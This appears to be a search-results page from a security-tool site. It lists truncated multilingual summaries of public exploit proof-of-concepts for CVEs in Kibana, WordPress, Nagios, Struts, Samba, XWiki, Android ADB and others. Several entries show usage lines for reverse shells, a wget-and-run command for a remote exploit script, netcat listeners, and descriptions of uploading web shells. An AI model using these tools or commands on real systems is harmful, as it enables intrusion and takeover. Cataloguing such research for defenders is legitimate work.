36621 matches found
asf__karaf_CVE-2022-22932_4-3-5
Apache Karaf Apache Karaf 是一个模块化运行时，支持多种框架和编程模型（REST/API、Web、Spring Boot 等）。它提供可直接利用的即用功能，无需任何额外工作，并以可变或不可变应用程序的形式打包。 概述 热部署 ：Karaf 支持应用程序的热部署（在 deploy 目录中）。 动态配置 ：Karaf 使用集中位置（etc 目录）进行配置（不同格式，如 properties、json），并可接入现有配置后端。 日志系统 ：使用由 Log4J 支持的集中式日志后端，Karaf 支持多种不同的 API（JDK...
CVE-2019-7609
CVE-2019-7609 python 13 で動作する新しい CVE-2019-7609 python3 スクリプトで CVE-2019-7609kibana RCE を正しい方法で exploit します 参考: https://github.com/LandGrey/CVE-2019-7609 snapshot usage root@kitploit: usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments:...
CVE-2024-27956
🚨POC公開🚨WordPressのSQLインジェクションがRCEにつながるPoCが公開されました CVE-2024-27956。WordPress管理者アカウント作成とリバースシェル cve-2024-27956 使い方- sudo python3 cve.py...
CVE-2023-0830
CVE-2023-0830: EasyNAS 1.1.0 認証済みOSコマンドインジェクションエクスプロイト このPythonスクリプトは、統合リスナーを含む拡張機能を備えたEasyNASバージョン1.1.0向けの強力なエクスプロイトです。悪用される脆弱性はコマンドインジェクションの欠陥であり、認証が必要です。...
Nagios-CVE-2019-15949-RCE
Nagios-CVE-2019-15949-RCE-Poc CVE-2019-15949 の Python PoC 概要 Nagios XI = 5.6.5 には、攻撃者が RCE を利用して root への権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、'nagios' ユーザーとしてサーバーにアクセスできるか、プラグイン管理の権限を持つ Web インターフェース経由での CCM アクセスが必要です。 詳細 getprofile.sh スクリプトは、システムプロファイルのダウンロード profile.php?cmd=download...
CVE-2023-43208-PoC
CVE-2023-43208 - Mirth Connect の未認証RCE 要件 Python 3.11 以上（3.11、3.12、3.13 でテスト済み） セットアップ root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 使用方法 root@kitploit: Check version only python3...
CVE-2024-40453
CVE-2024-40453 - Squirrelly v9.0.0 RCE 免責事項: このスクリプトは教育目的のみで使用してください。 違法な目的で使用しないでください。 もし使用した場合、その責任はすべてあなたにあります。私はいかなる誤用についても責任を負いません。 説明 このスクリプトは、カレントディレクトリに payload.sh というリバースシェルを作成します。 次に、被害者が payload.sh を取得するために、ポート80でHTTPサーバーを起動します。 攻撃者のマシンでリスナーを開始する必要があります。 HTTPサーバーは、被害者が payload.sh...
CVE-2022-1609
CVE-2022-1609 CVE-2022-1609 WordPress Weblizar 백도어용 Bash PoC 설치 방법은? root@kitploit: wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh 사용 방법은? root@kitploit: NullBrunk$ ./exploit.sh http://127.0.0.1:8080 + Targeting http://127.0.0.1:808...
CVE-2026-0073-Android-client-TLS-auth-bypass
CVE‑2026‑0073 は、Android の ADB デーモン adbd における論理バグであり、ワイヤレスデバッグが有効で、かつ一度でも任意のコンピューターとペアリングされたデバイスに対して、攻撃者が TLS 相互認証をバイパスしてリモートシェルを開くことを可能にします。根本原因は、単一の API の誤用です。OpenSSL の EVPPKEYcmp の戻り値が、3 値の結果ではなくブール値として扱われます。 ADB ワイヤレスデバッグにおける通常の認証フロー アンドロイドの開発者向けオプションからワイヤレスデバッグを有効にすると、デバイスはランダムな TCP ポートで待ち受ける...
CVE-2025-46157
CVE-2025-46157 CVE-2025-46157 – Timetrax V1 2025 リモートコード実行および権限昇格 概要 Timetrax V1 2025 に重大な脆弱性が発見されました。この脆弱性により、認証済みユーザーがファイルアップロード制限を回避し、リモートコード実行（RCE） を達成できます。この問題は 勤怠（Attendance）モジュールの休暇申請（Leave Request）フォーム に存在し、サーバーサイドの検証が不十分なため、改変されたリクエストを介して悪意のある .asp ウェブシェルがアップロードされる可能性があります。...
POC-IngressNightmare-CVE-2025-1974
Shell.so Builder（Alpineベース） このプロジェクトでは、Dockerコンテナ内のAlpine Linuxを使用して shell.so ペイロードをビルドできます。 手順 1. リポジトリをクローン : git clone cd 2. ペイロードをビルド : ./runbuild.sh コンパイルされた shell.so はプロジェクトルートディレクトリに生成されます。 ⚠️ 重要: リバースシェルのIPアドレスとポートは shell.c にハードコードされています。ペイロードをビルドする前に必ず更新してください。...
CVE-2025-6002
CVE-2025-6002 のエクスプロイト このスクリプトは、VirtueMart 4.4.10 CVE-2025-6002 の認証済み任意ファイルアップロードの脆弱性を悪用します。この脆弱性は、次のブログ記事で説明されています: https://blog.blacklanternsecurity.com/p/doomla-zero-days このスクリプトは、指定された認証情報で VirtueMart にログインし、新しい製品を作成して、PHP Web シェルをメディアファイルとしてアップロードします。その後、指定された IP/ポートへのリバースシェルを起動します。 パラメータ:...
gonc
gonc の紹介 中文 、 English の README gonc は、ピアツーピア通信を容易にするために設計された Golang ベースの netcat ツールです。主な機能は次のとおりです： 🔁 自動 NAT トラバーサル : 設定不要。両側はパスフレーズを合意するだけで済みます。-p2p パラメータを使用することで、ピアは互いのネットワークアドレスを自動的に発見し、NAT トラバーサルを通じてポイントツーポイント接続を確立できます。アドレス交換には公開 STUN および MQTT サービスを活用します。 🔒 相互認証を伴うエンドツーエンド暗号化 : TCP には TLS、UDP...
S2-052
CVE-2017-9805 （S2-052）リバースシェル Exploit 影響バージョン root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn...
CVE-2007-2447
CVE-2007-2447 스크립트를 테스트하려면 여기에서 제공되는 가상 머신 "metasploitable 2"를 추천합니다. 익스플로잇이 작동하면 스크립트가 리버스 셸을 표시합니다. 연결을 받으려면 netcat 세션을 다음과 같이 열면 됩니다: root@kitploit: netcat -lnvp 목차 예제 요구 사항 페이로드 예제 root@kitploit: py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 그리고 netcat에서: root@kitploit: netcat -lnvp 1337...
cgi-bin-shellshock
使い方 リポジトリをクローンする（または好きな方をコピー＆ペースト） root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh スクリプトを実行する Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp 注：デフォルトのLPORTは4444、URLが必要です。URLのみ指定された場合はRCE、lhostとlportが指定された場合はRSHELLを実行します...
CVE-2025-24893-Reverse-Shell
CVE-2025-24893 - XWiki 원격 코드 실행 익스플로잇 CVE-2025-24893 PoC – XWiki 매크로 원격 코드 실행 Artemir의 원본 PoC에서 영감을 받음 설명 이것은 취약한 버전의 XWiki 에서 원격 코드 실행RCE 취약점인 CVE-2025-24893 에 대한 개념 증명PoC 익스플로잇입니다. 이 결함은 SolrSearch 엔드포인트 내에서 사용자 입력의 부적절한 삭제sanitization에 있으며, RSS 피드 쿼리를 통해 샌드박스되지 않은 매크로 주입에 취약합니다. 이 스크립트는 async...
CVE-2025-55182
CVE-2025-55182 このリポジトリには、CVE-2025-55182 React2Shell の脆弱性に関するドキュメントが含まれています。 ドキュメントは以下から入手できます: ウェブサイトとして: https://memergamer.github.io/CVE-2025-55182/ PDFとして main.pdf: https://github.com/MemerGamer/CVE-2025-55182/releases...
bugstropics
在热带地区猎捕漏洞 这是我在 DEFCON30 上所做的演讲「在热带地区猎捕漏洞」所使用的幻灯片仓库。其中包含一个 Python 脚本，用于根据破解 Aruba 支持部门 EC 公钥（因其强度过弱，仅为 64 位）所获得的私钥来计算支持密码。这使你可以从这些设备上的子 shell 中逃逸出来，并获得完整的 root shell。 你可以通过在 AP CLI 上运行 support 并提供任意用户名来使用它： root@kitploit: support Username Please enter with @domain.com, in lowercase: a Token:...